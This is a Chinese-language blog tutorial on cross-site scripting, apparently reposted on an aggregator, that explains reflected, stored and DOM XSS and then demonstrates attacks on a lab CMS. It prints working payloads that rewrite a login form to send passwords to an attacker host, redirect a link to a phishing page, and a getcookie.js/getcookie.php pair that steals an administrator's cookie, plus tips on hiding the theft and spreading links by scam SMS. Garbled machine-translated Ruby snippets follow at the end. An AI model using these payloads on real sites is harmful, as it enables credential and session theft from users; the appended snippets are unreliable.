草庐IT

XSS注入

Fenizal 2023-07-15 原文

文章目录


前言

本篇文章详细讲解XSS漏洞及其原理,以及常见的XSS漏洞利用和一些防范手段。同时最后会通过对特定靶场环境进行手工的XSS漏洞的注入,以便加深对XSS漏洞的熟悉与理解。


一、XSS是什么?

xss全称为Cross Site Script,即跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheet)混淆,因此简称为XSS。最初的XSS演示是跨域的,因此被称之为跨站脚本攻击,但随着JavaScript的强大功能以及前端网页逐渐复杂化,跨不跨域已经不重要,但是这个名称还是保留了下来。

xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意脚本,从而在用户浏览网页的时候控制用户的一种攻击。xss长期因此被称为客户端Web安全的头号大敌,因为xss破坏力强大,产生情景复杂,一年才针对不同场景产生的xss漏洞,应该区分情景对待。

二、XSS的大致分类与利用思路

1.反射型

反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。

2.存储型

存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。

3.DOM型

DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。

三、不同类型的XSS漏洞注入演示

1.反射型xss

进入靶场,输入测试,发现页面直接拼接了我们输入的内容,只要我们能够使得窗口弹窗就可以通关

准备尝试闭合标签,构造payload
经过尝试之后我们发现一些特殊的关键字都会被过滤掉,例如script,因此根据提示我们采取闭合后端(服务器端)处理数据用的单引号,采用事件弹窗的方式注入。

因此我们构造payload:
’ οnmοuseοver=alert() ><a

最终显示拼接成功并且正确使浏览器弹窗

这样我们就通过注入使得服务器将我们输入的内容当成代码进行执行,这就是一般类型的反射型xss。

2.存储型xss

现在一直某cms文章管理系统的留言板存在xss漏洞,现在我们通过构造代码进行注入

接下来我们模拟管理员登录改文章管理系统的后台进行浏览审核用户的留言,发现触发xss弹窗,查看源代码我们发现用户输入的信息被嵌入在了html里面被浏览器解析执行了(弹窗的时候没有字是因为加载顺序的关系,关闭弹窗payload里面的文字就正常显示了)。

这是用于迷惑的留言。

查看当前网页的源码信息,发现我们构造的payload已经成功被嵌入解析。

当管理员审核通过之后,任何浏览到该留言内容的人都会同样解析执行我们注入的payload的,所以相比于反射型的xss来说,存储型的xss危害更大,影响范围最大。

3.DOM型xss

已知某CMS文章管理系统的后台管理员登录页面存在xss漏洞,现准备测试注入,掉包原本页面内“忘记密码”的链接。我们首先在攻击者的www目录下创建模拟的钓鱼网页,
测试访问,发现没有问题

构造语句通过javascript脚本语言,修改网页的“忘记密码”处的链接为我们设置好的钓鱼链接。

http://192.168.159.156/admin/login.php?username="/><script>alert("ssss");document.getElementsByTagName("body")[0].οnlοad=function changeLink(){document.getElementById("myId").href="http://192.168.1.101/xsstest/fish.html"} </script> <a  href=

PS:function和changeLink之间有一个空格,这样我们就把页面上原本的“忘记密码”处的密码改成了攻击者设置好的链接。
注入成功,网页的链接地址被改写:

可能有人会问:你这样改也只是攻击者本人自己在改,更改后的网页并不会被别人接触到,是的,这就是反射型xss漏洞的特点,需要将改动后的URL(上述URL)利用一些工具生成短连接,然后通过诈骗短信类似的方式发送给受害者,等待受害者自己去点击这个链接之后才会触发攻击,后续可以结合CSRF漏洞进一步制作钓鱼网站。这里仅演示DOM型XSS的注入。

三、XSS漏洞实战

1.制作钓鱼网站获得用户的用户名和密码

大致思路和刚才的DOM型注入类似,我们还是通过网页注入修改原有网页的DOM,使得form表单的action指向攻击者网站下的某个脚本。
首先先在攻击者的网站根目录下创建接收用户名和密码的php脚本如下:

上述代码中因为盗取用户敏感信息之后不应让用户察觉,因此后续代码可以帮用户使用已有代码进行登录,这样用户就不会察觉到自己的信息已经泄露。这里为了简单,就只重定向原来的登录界面,让用户误以为是系统bug,再输一遍账户密码登录就是了。
为了确保准确性,可以先本地测试访问一下:

发现可以正常访问,因为最后的JavaScript的重定向已执行。
接下来急需要根据需要注入我们构造好的payload:

http://192.168.159.156/admin/login.php?username="/><script>document.getElementById("myform").action="http://192.168.1.101/xsstest/getinfo.php" </script> <a  href=


但是这个链接太长了,而且一看就是图摸不轨的URL,所以我们使用将其转化为短连接:

访问生成的短连接,并输入测试的账号:admin密码:admin

在攻击者的网站下生成了对应的passwd.txt,获取了用户的账户密码信息。

这样我们就通过钓鱼的方式获取了用户的账号密码,当然这只是大致原理,真正情况下还要进行网站的防范测试、进行绕过。

2.获取管理员的cookie

接下来我们再来看最后一个实验场景,获取CMS后台管理员的cookie,经过前面的测试我们知道在该CMS文章系统前台的留言板存在xss漏洞,因此我们可以通过存储型的xss注入,利用JavaScript获取cookie再传送到我们自己的网站底下。

好了有了大致思路之后我们就开始搞,首先我们还是明确我们的攻击思路,首先在前端留言板构造payload,保险起见,我们不带有攻击性的代码,仅仅远程调用我们(攻击者网站下的脚本),所以我们先写好相应的脚本文件:

getcookie.js:

function getcookie(){
	var url="http://192.168.1.101/xsstest/getcookie.php";
	var data = "cookie="+document.cookie;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST",url);
	xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	//content-type:表名内容类型,决定浏览器以什么形式进行编码读取这个文件。
	//application/x-www-form-urlencoded:最常见的POST提交数据的方式
	xmlhttp.send(data);
}
getcookie();

getcookie.php:

<?php
	$cookie=@$_POST['cookie'];
	file_put_contents("cookie.txt", $cookie."\n",FILE_APPEND);
?>

在CMS文章系统的留言板注入代码:

<script src="http://192.168.1.101/xsstest/getcookie.js"></script>

如图:

然后我们模拟管理员在后台审核留言板的内容,触发xss攻击:

最终拿到管理员的cookie:

这样我们获得了CMS文章管理系统后台管理员的cookie。


总结

以上就是关于XSS漏洞的全部内容,之后有时间我还会更新关于CSRF与XSS联合使用制作钓鱼网站的内容,欢迎关注交流学习。

有关XSS注入的更多相关文章

  1. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  2. ruby - 防止SQL注入(inject)/好的Ruby方法 - 2

    Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject

  3. Ruby:映射和注入(inject)之间的区别 - 2

    在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这

  4. ruby - 为什么 Ruby 注入(inject)方法不能对没有初始值的字符串长度求和? - 2

    为什么下面的代码会报错?['hello','stack','overflow'].inject{|memo,s|memo+s.length}TypeError:can'tconvertFixnumintoStringfrom(irb):2:in`+'from(irb):2:in`blockinirb_binding'from(irb):2:in`each'from(irb):2:in`inject'from(irb):2如果传递了初始值,它就可以正常工作:['hello','stack','overflow'].inject(0){|memo,s|memo+s.length}=>18

  5. ruby-on-rails - 仅在某些页面上使用 rails_xss - 2

    我正在使用rails_xss运行Rails2.3.14插入。我有另一个用于创建管理仪表板View的插件。我的问题是rails_xss正在转义我的仪表板插件生成的所有HTML。有没有一种方法可以将rails_xss配置为不转义匹配example.com/admin或基于目录(app/views/admin)或任何类似的页面结果一样吗? 最佳答案 更新仪表板生成插件以使用raw或html_safe进行内容输出可能会更简单。 关于ruby-on-rails-仅在某些页面上使用rails_xss

  6. ruby-on-rails - 我将 Rails3 与 tinymce 一起使用。如何呈现用户关闭浏览器javascript然后输入xss? - 2

    我有一个用Rails3编写的站点。我的帖子模型有一个名为“内容”的文本列。在帖子面板中,html表单使用tinymce将“content”列设置为textarea字段。在首页,因为使用了tinymce,post.html.erb的代码需要用这样的原始方法来实现。.好的,现在如果我关闭浏览器javascript,这个文本区域可以在没有tinymce的情况下输入,也许用户会输入任何xss,比如alert('xss');.我的前台会显示那个警告框。我尝试sanitize(@post.content)在posts_controller中,但sanitize方法将相互过滤tinymce样式。例如

  7. ruby - 在 Ruby 中,为什么在注入(inject)/归约方法中将累加器称为 memo? - 2

    出于好奇,为什么在注入(inject)/归约方法中将累加器称为memo?它的命名背后有什么背景/历史吗?它实际上是指“备忘录”还是备忘录代表什么?http://ruby-doc.org/core-2.0/Enumerable.html#method-i-injecthttp://ruby-doc.org/core-2.0/Enumerable.html#method-i-reduce 最佳答案 “memo”表示在内存中,注入(inject)在整个迭代过程中使用来保存中间对象状态,以便在下一次迭代中使用它。

  8. ruby - Thor - 最后注入(inject)文件 - 2

    我正在开发一个Rails引擎,我正在尝试编写一个生成器来放置这条线do_stuff(foo)作为config/routes.rb中的最后一条语句,不破坏文件语法。具体来说,如果我的config/routes.rb目前看起来像这样Rails.application.routes.drawdoblahmoreblahend运行生成器后,我希望config/routes.rb看起来像这样Rails.application.routes.drawdoblahmoreblahdo_stuff(foo)#injectedlineend我看了看什么ActiveAdmindoes,但无法创建一揽子最后

  9. ruby-on-rails - 清理 URL 以防止 Rails 中的 XSS - 2

    在Rails应用程序中,用户可以创建事件并发布URL以链接到外部事件站点。如何清理url以防止XSS链接?提前致谢XSS示例,rails的清理方法无法防止@url="javascript:alert('XSS')"">testlink 最佳答案 一旦href已经在标签中,请尝试清理:url="javascript:alert('XSS')"sanitizelink_to('xsslink',url)这给了我:xsslink 关于ruby-on-rails-清理URL以防止Rails中的X

  10. ruby-on-rails - Ruby on Rails 和 XSS 预防 - 2

    RubyonRails中防止XSS的做法有哪些?我在网上发现了许多旧文档,大部分时间都是关于使用h/html_escape帮助程序转义来自用户的任何变量。我从较新的文档中了解到,在2.0及更高版本中有sanitize方法,自动清除假定的输入恶意输入。是否足够,或者您是否正在做更多的事情来保护您的应用程序? 最佳答案 h方法仍然是转义字符串中所有HTML的方法。您应该在输出内容的任何地方使用此方法。这种行为将在Rails3中发生变化。默认情况下所有输出都将被转义,您需要明确指定不对其进行转义。同时,如果您经常忘记使用此h方法,您可能需

随机推荐